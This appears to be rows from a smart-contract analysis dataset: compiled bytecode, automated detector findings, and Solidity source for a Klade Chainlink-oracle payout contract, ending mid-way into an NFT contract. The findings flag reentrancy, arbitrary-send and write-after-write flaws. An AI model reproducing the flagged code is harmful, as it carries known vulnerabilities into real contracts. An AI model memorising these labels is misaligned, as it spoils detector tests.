1cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb1906122fa565b60405180910390fd5b809150505b92915050565b600081359050611cd4816129c4565b92915050565b600081519050611ce9816129c4565b92915050565b600081519050611cfe816129db565b92915050565b600081359050611d13816129f2565b92915050565b600081519050611d28816129f2565b92915050565b600060208284031215611d4457611d4361270a565b5b6000611d5284828501611cc5565b91505092915050565b600060208284031215611d7157611d7061270a565b5b6000611d7f84828501611cda565b91505092915050565b60008060408385031215611d9f57611d9e61270a565b5b6000611dad85828601611cc5565b9250506020611dbe85828601611cc5565b9150509250929050565b600080600060608486031215611de157611de061270a565b5b6000611def86828701611cc5565b9350506020611e0086828701611cc5565b9250506040611e1186828701611d04565b9150509250925092565b60008060408385031215611e3257611e3161270a565b5b6000611e4085828601611cc5565b9250506020611e5185828601611d04565b9150509250929050565b600060208284031215611e7157611e7061270a565b5b6000611e7f84828501611cef565b91505092915050565b600060208284031215611e9e57611e9d61270a565b5b6000611eac84828501611d19565b91505092915050565b600080600060608486031215611ece57611ecd61270a565b5b6000611edc86828701611d19565b9350506020611eed86828701611d19565b9250506040611efe86828701611d19565b9150509250925092565b6000611f148383611f20565b60208301905092915050565b611f29816125b4565b82525050565b611f38816125b4565b82525050565b6000611f498261245a565b611f53818561247d565b9350611f5e8361244a565b8060005b83811015611f8f578151611f768882611f08565b9750611f8183612470565b925050600181019050611f62565b5085935050505092915050565b611fa5816125c6565b82525050565b611fb481612609565b82525050565b6000611fc582612465565b611fcf818561248e565b9350611fdf81856020860161261b565b611fe88161270f565b840191505092915050565b600061200060238361248e565b915061200b82612720565b604082019050919050565b6000612023602a8361248e565b915061202e8261276f565b604082019050919050565b600061204660228361248e565b9150612051826127be565b604082019050919050565b6000612069601b8361248e565b91506120748261280d565b602082019050919050565b600061208c60218361248e565b915061209782612836565b604082019050919050565b60006120af60208361248e565b91506120ba82612885565b602082019050919050565b60006120d260298361248e565b91506120dd826128ae565b604082019050919050565b60006120f560258361248e565b9150612100826128fd565b604082019050919050565b600061211860248361248e565b91506121238261294c565b604082019050919050565b600061213b60178361248e565b91506121468261299b565b602082019050919050565b61215a816125f2565b82525050565b612169816125fc565b82525050565b60006020820190506121846000830184611f2f565b92915050565b600060408201905061219f6000830185611f2f565b6121ac6020830184611f2f565b9392505050565b60006040820190506121c86000830185611f2f565b6121d56020830184612151565b9392505050565b600060c0820190506121f16000830189611f2f565b6121fe6020830188612151565b61220b6040830187611fab565b6122186060830186611fab565b6122256080830185611f2f565b61223260a0830184612151565b979650505050505050565b60006020820190506122526000830184611f9c565b92915050565b600060208201905081810360008301526122728184611fba565b905092915050565b6000602082019050818103600083015261229381611ff3565b9050919050565b600060208201905081810360008301526122b381612016565b9050919050565b600060208201905081810360008301526122d381612039565b9050919050565b600060208201905081810360008301526122f38161205c565b9050919050565b600060208201905081810360008301526123138161207f565b9050919050565b60006020820190508181036000830152612333816120a2565b9050919050565b60006020820190508181036000830152612353816120c5565b9050919050565b60006020820190508181036000830152612373816120e8565b9050919050565b600060208201905081810360008301526123938161210b565b9050919050565b600060208201905081810360008301526123b38161212e565b9050919050565b60006020820190506123cf6000830184612151565b92915050565b600060a0820190506123ea6000830188612151565b6123f76020830187611fab565b81810360408301526124098186611f3e565b90506124186060830185611f2f565b6124256080830184612151565b9695505050505050565b60006020820190506124446000830184612160565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006124aa826125f2565b91506124b5836125f2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124ea576124e961264e565b5b828201905092915050565b6000612500826125f2565b915061250b836125f2565b92508261251b5761251a61267d565b5b828204905092915050565b6000612531826125f2565b915061253c836125f2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125755761257461264e565b5b828202905092915050565b600061258b826125f2565b9150612596836125f2565b9250828210156125a9576125a861264e565b5b828203905092915050565b60006125bf826125d2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612614826125f2565b9050919050565b60005b8381101561263957808201518184015260208101905061261e565b83811115612648576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129cd816125b4565b81146129d857600080fd5b50565b6129e4816125c6565b81146129ef57600080fd5b50565b6129fb816125f2565b8114612a0657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f3506861158d439e984f8f05276dcc59b8abfab313ce0cdb2e3f0d4fbae3279764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,310 |
0xd6adce6d6049fb7d9ded629a7dfa34984310fcb0
|
// SPDX-License-Identifier: MIT
pragma solidity 0.7.3;
import {
IERC20,
ISafeMath,
IChainlinkOracle,
IKladeDiffToken
} from "./Interfaces.sol";
contract ChainlinkReceiver {
uint256 constant multiple = 10**7;
uint256 constant initial_factor = 1396984; // initial_factor = 600 * 10^13 / 2^32 rounded to nearest whole number
// factor = block_reward * seconds_per_block * Hashes_per_second * WBTC_adjustment_factor / constant
// Formula for Earnings Per Block in BTC = block_reward * 600 * hash_rate / (2^32 * difficulty)
uint256 constant Q3_end_unix = 1632960000;
uint256 constant secondsInDay = 86400; // Number of seconds in a day
uint256 constant blocksBetweenHalvings = 210000; // Number of blocks between each bitcoin block reward halving ie 12.5 BTC/block -> 6.25 BTC/block
uint256 constant initialBlockReward = 5000000000; // Initial bitcoin block reward in satoshis
uint256 constant numBlockBetweenDiffChanges = 2016; // Number of Blocks between each BTC difficulty adjustment(~2 weeks or 2016 blocks)
//Static Variable used to check validity of data given by the chainlink oracle
uint256 constant minValidDifficulty = 500000000000; // Minimum valid difficulty for Q32021
uint256 constant maxValidDifficulty = 600000000000000; // Maximum valid difficulty for Q32021
uint256 constant minValidBlockNum = 663904; // Minimum valid block number for Q32021
uint256 constant maxValidBlockNum = 1000000; // Maximum valid block number for Q32021
uint256 constant maxValidBlockNumberIncrease = 10000; // Maximum valid block number between Chainlink Updates
uint256 immutable factor;
address public immutable KladeAddress1;
address public immutable KladeAddress2;
ISafeMath public immutable safemath;
struct ChainlinkUpdate {
uint256 block_number;
uint256 difficulty;
uint80 blocknum_roundID;
uint80 diff_roundID;
}
struct quarter_details {
IKladeDiffToken alpha_token;
IKladeDiffToken omega_token;
IChainlinkOracle chainlink_diff_oracle;
IChainlinkOracle chainlink_blocknum_oracle;
uint256 required_collateral;
uint256 hedged_revenue;
uint256 end_unix;
uint256 intermediateActualMinerEarnings;
uint256 number_of_updates;
}
quarter_details public Q3_details;
bool public Q3_set;
mapping(uint256 => ChainlinkUpdate) public chainlink_data;
constructor(
address klade_address1,
address klade_address2,
ISafeMath safemath_contract
) {
KladeAddress1 = klade_address1;
KladeAddress2 = klade_address2;
safemath = safemath_contract;
factor = safemath_contract.mul(initial_factor, multiple);
}
/**
* Set basic quarter details for Chainlink Receiver
* @param alpha_token_contract IKladeDiffToken - Klade Alpha Token Contract
* @param omega_token_contract IKladeDifFToken - Klade Omega Token Contract
* @param chainlink_diff_oracle IChainlinkOracle - Chainlink oracle contract that provides difficulty information
* @param chainlink_blocknum_oracle IChainlinkOracle - Chainlink oracle contract that provides difficulty information
* @param required_collateral uint - required collateral to mint a single pair of Klade Alpha/Omega tokens
* @param hedged_revenue uint - hedged revenue for bitcoin miners for single pair of tokens
* @param miner_earnings uint - miner earnings for single pair of tokens
*/
function set_quarter_details(
IKladeDiffToken alpha_token_contract,
IKladeDiffToken omega_token_contract,
IChainlinkOracle chainlink_diff_oracle,
IChainlinkOracle chainlink_blocknum_oracle,
uint256 required_collateral,
uint256 hedged_revenue,
uint256 miner_earnings
) external {
require(
msg.sender == KladeAddress1 || msg.sender == KladeAddress2,
"Only Klade can set quarter details"
);
require(Q3_set == false, "Quarter details already set");
Q3_details = quarter_details(
alpha_token_contract,
omega_token_contract,
chainlink_diff_oracle,
chainlink_blocknum_oracle,
required_collateral,
hedged_revenue,
Q3_end_unix,
miner_earnings,
0
);
Q3_set = true;
}
/**
* At the call to getChainlinkUpdate at the beginning or end of the quarter, the current_block_number should
* be passed in as the block number at the beginning or end of the quarter.
* On all other calls, current_block_number should be fed as the block number
* at the most recent time the Oracle has updated its data
*/
function getChainlinkUpdate() external returns (bool updated) {
require(Q3_set, "Quarter details not set yet");
uint256 i = Q3_details.number_of_updates;
require(i < 13, "All datapoints for the quarter have been collected");
ChainlinkUpdate memory current_update =
read_chainlink(
Q3_details.chainlink_blocknum_oracle,
Q3_details.chainlink_diff_oracle
);
require(
check_reasonable_values(current_update),
"Unreasonable Chainlink Data"
);
if (
(i == 0) ||
new_chainlink_data(
chainlink_data[safemath.sub(i, 1)],
current_update
)
) {
chainlink_data[i] = current_update;
Q3_details.number_of_updates = safemath.add(
Q3_details.number_of_updates,
1
);
if (i > 0) {
Q3_details.intermediateActualMinerEarnings = safemath.add(
Q3_details.intermediateActualMinerEarnings,
additional_miner_earnings(
chainlink_data[safemath.sub(i, 1)],
current_update
)
);
}
return true;
}
return false;
}
/**
* Checks if the current_update has updated difficulty and block_number values
* compared to last_update. If either the difficulty or the block_number has
* not been updated by Chainlink, this returns false.
* @param last_update ChainlinkUpdate - previous update data returned by Chainlink Oracle
* @param current_update ChainlinkUpdate - most recent update data returned by Chainlink Oracle
*/
function new_chainlink_data(
ChainlinkUpdate memory last_update,
ChainlinkUpdate memory current_update
) internal pure returns (bool new_data) {
bool new_difficulty_data =
current_update.diff_roundID != last_update.diff_roundID;
bool new_blocknum_data =
current_update.blocknum_roundID != last_update.blocknum_roundID;
return new_difficulty_data && new_blocknum_data;
}
/**
* Calls Chainlink's Oracles, gets the latest data, and returns it.
* @param blocknum_oracle IChainlinkOracle - Chainlink block number oracle
* @param diff_oracle IChainlinkOracle - Chainlink difficulty number oracle
*/
function read_chainlink(
IChainlinkOracle blocknum_oracle,
IChainlinkOracle diff_oracle
) internal view returns (ChainlinkUpdate memory latest) {
uint80 updated_roundID_diff;
int256 current_diff;
uint256 startedAt;
uint256 updatedAt;
uint80 answeredInRound;
int256 current_blocknum;
uint80 updated_roundID_blocknum;
(
updated_roundID_blocknum,
current_blocknum,
startedAt,
updatedAt,
answeredInRound
) = blocknum_oracle.latestRoundData();
(
updated_roundID_diff,
current_diff,
startedAt,
updatedAt,
answeredInRound
) = diff_oracle.latestRoundData();
return
ChainlinkUpdate(
uint256(current_blocknum),
uint256(current_diff),
updated_roundID_blocknum,
updated_roundID_diff
);
}
/**
* Revenue (in WBTC base units) for 10 TH/s over the blocks from startBlock to endBlock
* does not account for if there is a halving in between a difficulty update.
* should not be relevant for Q3 2021
* @param last_update ChainlinkUpdate - previous update data returned by Chainlink Oracle
* @param current_update ChainlinkUpdate - most recent update data returned by Chainlink Oracle
*/
function additional_miner_earnings(
ChainlinkUpdate memory last_update,
ChainlinkUpdate memory current_update
) internal view returns (uint256 earnings) {
uint256 startBlock = last_update.block_number;
uint256 startDiff = last_update.difficulty;
uint256 endBlock = current_update.block_number;
uint256 endDiff = current_update.difficulty;
require(
endBlock >= startBlock,
"Latest Block Number is less than last block number"
);
uint256 last_diff_update_block = get_last_diff_update(endBlock);
if (last_diff_update_block <= startBlock) {
return
safemath.mul(
safemath.sub(endBlock, startBlock),
earnings_on_block(endDiff, startBlock)
);
} else {
uint256 total =
safemath.mul(
safemath.sub(last_diff_update_block, startBlock),
earnings_on_block(startDiff, startBlock)
);
total = safemath.add(
total,
safemath.mul(
safemath.sub(endBlock, last_diff_update_block),
earnings_on_block(endDiff, endBlock)
)
);
return total;
}
}
/**
* Returns the Bitcoin block number when difficulty was last updated prior to the given block_num
* @param block_num uint - bitcoin block number
*/
function get_last_diff_update(uint256 block_num)
internal
view
returns (uint256)
{
return
safemath.sub(
block_num,
safemath.mod(block_num, numBlockBetweenDiffChanges)
);
}
/**
* Returns earnings in WBTC base units
* @param difficulty uint - bitcoin network difficulty
* @param block_number uint - bitcoin block number
*/
function earnings_on_block(uint256 difficulty, uint256 block_number)
internal
view
returns (uint256)
{
uint256 numerator =
safemath.mul(factor, block_reward_on_block(block_number));
return safemath.div(numerator, difficulty);
}
/**
* Returns bitcoin block reward in WBTC base units
* @param block_number uint - bitcoin block number
*/
function block_reward_on_block(uint256 block_number)
internal
view
returns (uint256)
{
uint256 divisor =
2**(safemath.div(block_number, blocksBetweenHalvings));
return safemath.div(initialBlockReward, divisor);
}
/**
* Check that the values that are trying to be added to the ChainlinkData
* for a quarter actually makes sense.
* Returns True if the update seems reasonable and returns false if the update
* values seems unreasonable
* Very generous constraints that are just sanity checks.
* @param update ChainlinkUpdate - A chainlink update with block number and difficulty data
*/
function check_reasonable_values(ChainlinkUpdate memory update)
internal
view
returns (bool reasonable)
{
uint256 update_diff = update.difficulty;
uint256 update_block_number = update.block_number;
uint256 number_of_updates = Q3_details.number_of_updates;
if (
(update_diff > maxValidDifficulty) ||
(update_diff < minValidDifficulty)
) {
return false;
}
if (
(update_block_number > maxValidBlockNum) ||
(update_block_number < minValidBlockNum)
) {
return false;
}
if (number_of_updates > 0) {
uint256 last_update_block_number =
chainlink_data[safemath.sub(number_of_updates, 1)].block_number;
if (update_block_number <= last_update_block_number) {
return false;
}
if (
update_block_number >
safemath.add(
last_update_block_number,
maxValidBlockNumberIncrease
)
) {
return false;
}
}
return true;
}
// payouts are set in WBTC base units for 1.0 tokens
function set_payouts() public {
require(
Q3_details.number_of_updates == 13,
"Need 13 datapoints before setting payout"
);
require(
(block.timestamp >= Q3_details.end_unix),
"You cannot set a payout yet"
);
uint256 hedged_revenue = Q3_details.hedged_revenue;
uint256 required_collateral = Q3_details.required_collateral;
uint256 miner_revenue =
safemath.div(Q3_details.intermediateActualMinerEarnings, multiple);
if ((hedged_revenue > miner_revenue)) {
uint256 alpha_token_payout =
safemath.min(
safemath.sub(hedged_revenue, miner_revenue),
required_collateral
);
uint256 omega_token_payout =
safemath.sub(required_collateral, alpha_token_payout);
Q3_details.alpha_token.set_payout(alpha_token_payout);
Q3_details.omega_token.set_payout(omega_token_payout);
} else {
Q3_details.alpha_token.set_payout(0);
Q3_details.omega_token.set_payout(required_collateral);
}
}
// If any address accidentally sends any ERC20 token to this address,
// they can contact us. Off-chain we will verify that the address did
// in fact accidentally send tokens and return them.
function anyTokenTransfer(
IERC20 token,
uint256 num,
address to
) external returns (bool success) {
require(
(msg.sender == KladeAddress1 || msg.sender == KladeAddress2),
"Only Klade can recover tokens"
);
return token.transfer(to, num);
}
}
|
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80639b2d7169116100665780639b2d7169146101b95780639f243752146101c1578063ae2a924e14610222578063cb475aa81461022a578063e06bab5b146102325761009e565b80630805632e146100a35780632acce922146100ef57806332ae44d0146101135780635e1d82cb1461011b5780636b5377651461016f575b600080fd5b6100c0600480360360208110156100b957600080fd5b503561023a565b6040805194855260208501939093526001600160501b0391821684840152166060830152519081900360800190f35b6100f761026f565b604080516001600160a01b039092168252519081900360200190f35b6100f7610293565b61016d600480360360e081101561013157600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060808101359060a08101359060c001356102b7565b005b6101a56004803603606081101561018557600080fd5b506001600160a01b0381358116916020810135916040909101351661046b565b604080519115158252519081900360200190f35b61016d6105a8565b6101c9610a6a565b604080516001600160a01b039a8b168152988a1660208a015296891688880152949097166060870152608086019290925260a085015260c084015260e08301939093526101008201929092529051908190036101200190f35b6100f7610aa0565b6101a5610ac4565b6101a5610acd565b600a602052600090815260409020805460018201546002909201549091906001600160501b0380821691600160501b90041684565b7f000000000000000000000000a61a62352faf6ad883a8d36975cf39cdeb477d2581565b7f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c3581565b336001600160a01b037f000000000000000000000000a61a62352faf6ad883a8d36975cf39cdeb477d251614806103165750336001600160a01b037f000000000000000000000000e4147a2b5bac2d1b9fa23a1c0d477700af59028016145b6103515760405162461bcd60e51b8152600401808060200182810382526022815260200180611bc46022913960400191505060405180910390fd5b60095460ff16156103a9576040805162461bcd60e51b815260206004820152601b60248201527f517561727465722064657461696c7320616c7265616479207365740000000000604482015290519081900360640190fd5b60408051610120810182526001600160a01b039889168082529789166020820181905296891691810182905294909716606085018190526080850184905260a08501839052636154fe0060c0860181905260e08601839052600061010090960186905285546001600160a01b03199081169098178655600180548916909717875560028054891690991790985560038054909716179095556004919091556005556006939093556007919091556008919091556009805460ff19169091179055565b6000336001600160a01b037f000000000000000000000000a61a62352faf6ad883a8d36975cf39cdeb477d251614806104cc5750336001600160a01b037f000000000000000000000000e4147a2b5bac2d1b9fa23a1c0d477700af59028016145b61051d576040805162461bcd60e51b815260206004820152601d60248201527f4f6e6c79204b6c6164652063616e207265636f76657220746f6b656e73000000604482015290519081900360640190fd5b836001600160a01b031663a9059cbb83856040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561057457600080fd5b505af1158015610588573d6000803e3d6000fd5b505050506040513d602081101561059e57600080fd5b5051949350505050565b600854600d146105e95760405162461bcd60e51b8152600401808060200182810382526028815260200180611be66028913960400191505060405180910390fd5b600654421015610640576040805162461bcd60e51b815260206004820152601b60248201527f596f752063616e6e6f74207365742061207061796f7574207965740000000000604482015290519081900360640190fd5b600554600480546007546040805163a391c15b60e01b8152938401919091526298968060248401525190916000916001600160a01b037f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c35169163a391c15b916044808301926020929190829003018186803b1580156106be57600080fd5b505afa1580156106d2573d6000803e3d6000fd5b505050506040513d60208110156106e857600080fd5b505190508083111561099f5760007f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c356001600160a01b0316637ae2b5c77f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c356001600160a01b031663b67d77c587866040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561079157600080fd5b505afa1580156107a5573d6000803e3d6000fd5b505050506040513d60208110156107bb57600080fd5b5051604080516001600160e01b031960e085901b168152600481019290925260248201879052516044808301926020929190829003018186803b15801561080157600080fd5b505afa158015610815573d6000803e3d6000fd5b505050506040513d602081101561082b57600080fd5b50516040805163b67d77c560e01b8152600481018690526024810183905290519192506000916001600160a01b037f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c35169163b67d77c5916044808301926020929190829003018186803b1580156108a157600080fd5b505afa1580156108b5573d6000803e3d6000fd5b505050506040513d60208110156108cb57600080fd5b505160008054604080516369de02e160e11b81526004810187905290519394506001600160a01b039091169263d3bc05c29260248084019391929182900301818387803b15801561091b57600080fd5b505af115801561092f573d6000803e3d6000fd5b5050600154604080516369de02e160e11b81526004810186905290516001600160a01b03909216935063d3bc05c2925060248082019260009290919082900301818387803b15801561098057600080fd5b505af1158015610994573d6000803e3d6000fd5b505050505050610a65565b60008054604080516369de02e160e11b81526004810184905290516001600160a01b039092169263d3bc05c29260248084019382900301818387803b1580156109e757600080fd5b505af11580156109fb573d6000803e3d6000fd5b5050600154604080516369de02e160e11b81526004810187905290516001600160a01b03909216935063d3bc05c2925060248082019260009290919082900301818387803b158015610a4c57600080fd5b505af1158015610a60573d6000803e3d6000fd5b505050505b505050565b6000546001546002546003546004546005546006546007546008546001600160a01b039889169897881697968716969095169489565b7f000000000000000000000000e4147a2b5bac2d1b9fa23a1c0d477700af59028081565b60095460ff1681565b60095460009060ff16610b27576040805162461bcd60e51b815260206004820152601b60248201527f517561727465722064657461696c73206e6f7420736574207965740000000000604482015290519081900360640190fd5b600854600d8110610b695760405162461bcd60e51b8152600401808060200182810382526032815260200180611c0e6032913960400191505060405180910390fd5b610b71611b89565b600354600254610b8d916001600160a01b039081169116610fa8565b9050610b98816110ef565b610be9576040805162461bcd60e51b815260206004820152601b60248201527f556e726561736f6e61626c6520436861696e6c696e6b20446174610000000000604482015290519081900360640190fd5b811580610ce55750610ce5600a60007f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c356001600160a01b031663b67d77c58660016040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610c6557600080fd5b505afa158015610c79573d6000803e3d6000fd5b505050506040513d6020811015610c8f57600080fd5b505181526020818101929092526040908101600020815160808101835281548152600182015493810193909352600201546001600160501b0380821692840192909252600160501b9004166060820152826112d5565b15610f9e576000828152600a60209081526040918290208351815581840151600180830191909155838501516002909201805460608701516001600160501b03908116600160501b0269ffffffffffffffffffff60501b199190951669ffffffffffffffffffff19909216919091171692909217909155600854835163771602f760e01b81526004810191909152602481019190915291516001600160a01b037f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c35169263771602f7926044808301939192829003018186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d6020811015610df457600080fd5b50516008558115610f93577f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c356001600160a01b031663771602f7600060070154610f28600a60007f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c356001600160a01b031663b67d77c58960016040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610ea857600080fd5b505afa158015610ebc573d6000803e3d6000fd5b505050506040513d6020811015610ed257600080fd5b505181526020818101929092526040908101600020815160808101835281548152600182015493810193909352600201546001600160501b0380821692840192909252600160501b90041660608201528561132d565b6040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610f6357600080fd5b505afa158015610f77573d6000803e3d6000fd5b505050506040513d6020811015610f8d57600080fd5b50516007555b600192505050610fa5565b6000925050505b90565b610fb0611b89565b6000806000806000806000896001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b158015610ff457600080fd5b505afa158015611008573d6000803e3d6000fd5b505050506040513d60a081101561101e57600080fd5b508051602082015160408084015160608501516080909501518251633fabe5a360e21b81529251919a509498509396509094509092506001600160a01b038b169163feaf968c9160048082019260a092909190829003018186803b15801561108557600080fd5b505afa158015611099573d6000803e3d6000fd5b505050506040513d60a08110156110af57600080fd5b50805160209182015160408051608081018252958652928501526001600160501b0392831691840191909152166060820152955050505050505b92915050565b602081015181516008546000929190660221b262dd8000831180611117575064746a52880083105b1561112857600093505050506112d0565b620f424082118061113b5750620a216082105b1561114c57600093505050506112d0565b80156112c8576000600a60007f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c356001600160a01b031663b67d77c58560016040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156111c557600080fd5b505afa1580156111d9573d6000803e3d6000fd5b505050506040513d60208110156111ef57600080fd5b5051815260208101919091526040016000205490508083116112185760009450505050506112d0565b7f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c356001600160a01b031663771602f7826127106040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561128657600080fd5b505afa15801561129a573d6000803e3d6000fd5b505050506040513d60208110156112b057600080fd5b50518311156112c65760009450505050506112d0565b505b600193505050505b919050565b60008083606001516001600160501b031683606001516001600160501b031614159050600084604001516001600160501b031684604001516001600160501b0316141590508180156113245750805b95945050505050565b815160208084015183519184015160009392908382101561137f5760405162461bcd60e51b8152600401808060200182810382526032815260200180611c406032913960400191505060405180910390fd5b600061138a836117b1565b90508481116114d8577f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c356001600160a01b031663c8a4ac9c7f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c356001600160a01b031663b67d77c586896040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561142e57600080fd5b505afa158015611442573d6000803e3d6000fd5b505050506040513d602081101561145857600080fd5b505161146485896118f4565b6040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561149f57600080fd5b505afa1580156114b3573d6000803e3d6000fd5b505050506040513d60208110156114c957600080fd5b505195506110e9945050505050565b60007f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c356001600160a01b031663c8a4ac9c7f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c356001600160a01b031663b67d77c5858a6040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561157557600080fd5b505afa158015611589573d6000803e3d6000fd5b505050506040513d602081101561159f57600080fd5b50516115ab888a6118f4565b6040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156115e657600080fd5b505afa1580156115fa573d6000803e3d6000fd5b505050506040513d602081101561161057600080fd5b50516040805163b67d77c560e01b8152600481018790526024810185905290519192506001600160a01b037f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c35169163771602f7918491849163c8a4ac9c91839163b67d77c5916044808301926020929190829003018186803b15801561169557600080fd5b505afa1580156116a9573d6000803e3d6000fd5b505050506040513d60208110156116bf57600080fd5b50516116cb898b6118f4565b6040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561170657600080fd5b505afa15801561171a573d6000803e3d6000fd5b505050506040513d602081101561173057600080fd5b5051604080516001600160e01b031960e086901b16815260048101939093526024830191909152516044808301926020929190829003018186803b15801561177757600080fd5b505afa15801561178b573d6000803e3d6000fd5b505050506040513d60208110156117a157600080fd5b505196506110e995505050505050565b60007f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c356001600160a01b031663b67d77c5837f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c356001600160a01b031663f43f523a866107e06040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561185157600080fd5b505afa158015611865573d6000803e3d6000fd5b505050506040513d602081101561187b57600080fd5b5051604080516001600160e01b031960e086901b16815260048101939093526024830191909152516044808301926020929190829003018186803b1580156118c257600080fd5b505afa1580156118d6573d6000803e3d6000fd5b505050506040513d60208110156118ec57600080fd5b505192915050565b6000807f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c356001600160a01b031663c8a4ac9c7f00000000000000000000000000000000000000000000000000000cb49b59cc0061195086611a3d565b6040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561198b57600080fd5b505afa15801561199f573d6000803e3d6000fd5b505050506040513d60208110156119b557600080fd5b50516040805163a391c15b60e01b8152600481018390526024810187905290519192506001600160a01b037f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c35169163a391c15b91604480820192602092909190829003018186803b158015611a2957600080fd5b505afa158015610588573d6000803e3d6000fd5b6000807f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c356001600160a01b031663a391c15b84620334506040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015611aaf57600080fd5b505afa158015611ac3573d6000803e3d6000fd5b505050506040513d6020811015611ad957600080fd5b50516040805163a391c15b60e01b815264012a05f200600482015260029290920a6024830181905290519092506001600160a01b037f000000000000000000000000fd629b1fbc77644b23287f8acd0aea58ac695c35169163a391c15b916044808301926020929190829003018186803b158015611b5657600080fd5b505afa158015611b6a573d6000803e3d6000fd5b505050506040513d6020811015611b8057600080fd5b50519392505050565b6040518060800160405280600081526020016000815260200160006001600160501b0316815260200160006001600160501b03168152509056fe4f6e6c79204b6c6164652063616e2073657420717561727465722064657461696c734e6565642031332064617461706f696e7473206265666f72652073657474696e67207061796f7574416c6c2064617461706f696e747320666f722074686520717561727465722068617665206265656e20636f6c6c65637465644c617465737420426c6f636b204e756d626572206973206c657373207468616e206c61737420626c6f636b206e756d626572a2646970667358221220f2c287e64a52349e9a690f2b544b78d710907037e80c1f2cc8b07282c1792e7264736f6c63430007030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}]}}
| 9,311 |
0xd22165f54506da6bb38c2e1f153ad5b52e1e166f
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
/*
BACKGROUNDS
01: "rocknroll"
02: "fibonacci"
03: "clash"
04: "river"
05: "decide"
06: "everlast"
07: "vibe"
08: "motion"
09: "A village"
10: "jump in"
11: "walk"
12: "underwater"
13: "vision"
14: "dreamy"
15: "roundnround"
16: "joanna"
17: "dna1"
18: "yes and no"
19: "love"
